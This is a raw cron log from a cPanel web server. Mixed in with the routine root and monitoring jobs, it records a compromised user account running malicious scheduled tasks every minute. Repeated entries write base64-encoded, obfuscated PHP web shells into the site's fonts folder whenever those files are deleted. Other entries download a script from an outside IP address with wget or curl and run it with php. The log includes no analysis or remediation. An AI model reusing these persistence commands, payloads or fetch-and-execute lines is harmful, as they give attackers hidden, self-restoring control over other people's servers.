Sep 20 15:45:01 ip-184-168-122-23 CROND[19460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:46:01 ip-184-168-122-23 CROND[19727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:46:01 ip-184-168-122-23 CROND[19729]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 15:46:01 ip-184-168-122-23 CROND[19733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:46:01 ip-184-168-122-23 CROND[19735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:46:01 ip-184-168-122-23 CROND[19734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:46:01 ip-184-168-122-23 CROND[19731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:46:01 ip-184-168-122-23 CROND[19732]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 15:47:01 ip-184-168-122-23 CROND[20013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:47:01 ip-184-168-122-23 CROND[20016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:47:01 ip-184-168-122-23 CROND[20014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:47:01 ip-184-168-122-23 CROND[20015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:48:01 ip-184-168-122-23 CROND[20285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:48:01 ip-184-168-122-23 CROND[20286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:48:01 ip-184-168-122-23 CROND[20290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:48:01 ip-184-168-122-23 CROND[20291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:48:01 ip-184-168-122-23 CROND[20292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:49:01 ip-184-168-122-23 CROND[20699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:49:01 ip-184-168-122-23 CROND[20701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:49:01 ip-184-168-122-23 CROND[20703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:49:01 ip-184-168-122-23 CROND[20702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:50:01 ip-184-168-122-23 CROND[21039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:50:02 ip-184-168-122-23 CROND[21041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21051]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 15:50:02 ip-184-168-122-23 CROND[21053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:51:01 ip-184-168-122-23 CROND[21349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:51:01 ip-184-168-122-23 CROND[21350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:51:01 ip-184-168-122-23 CROND[21351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:51:01 ip-184-168-122-23 CROND[21352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:52:01 ip-184-168-122-23 CROND[21689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:52:01 ip-184-168-122-23 CROND[21691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:52:01 ip-184-168-122-23 CROND[21692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:52:01 ip-184-168-122-23 CROND[21690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:52:01 ip-184-168-122-23 CROND[21693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:53:01 ip-184-168-122-23 CROND[21962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:53:01 ip-184-168-122-23 CROND[21963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:53:01 ip-184-168-122-23 CROND[21964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:53:01 ip-184-168-122-23 CROND[21966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:54:01 ip-184-168-122-23 CROND[22198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:54:01 ip-184-168-122-23 CROND[22199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:54:01 ip-184-168-122-23 CROND[22204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:54:01 ip-184-168-122-23 CROND[22205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:54:01 ip-184-168-122-23 CROND[22202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:55:01 ip-184-168-122-23 CROND[22487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:55:01 ip-184-168-122-23 CROND[22490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:55:01 ip-184-168-122-23 CROND[22492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:55:01 ip-184-168-122-23 CROND[22491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:55:01 ip-184-168-122-23 CROND[22493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:55:01 ip-184-168-122-23 CROND[22494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:56:01 ip-184-168-122-23 CROND[22742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:56:01 ip-184-168-122-23 CROND[22743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:56:01 ip-184-168-122-23 CROND[22744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:56:01 ip-184-168-122-23 CROND[22749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:56:01 ip-184-168-122-23 CROND[22750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:57:01 ip-184-168-122-23 CROND[23006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:57:01 ip-184-168-122-23 CROND[23007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:57:01 ip-184-168-122-23 CROND[23009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
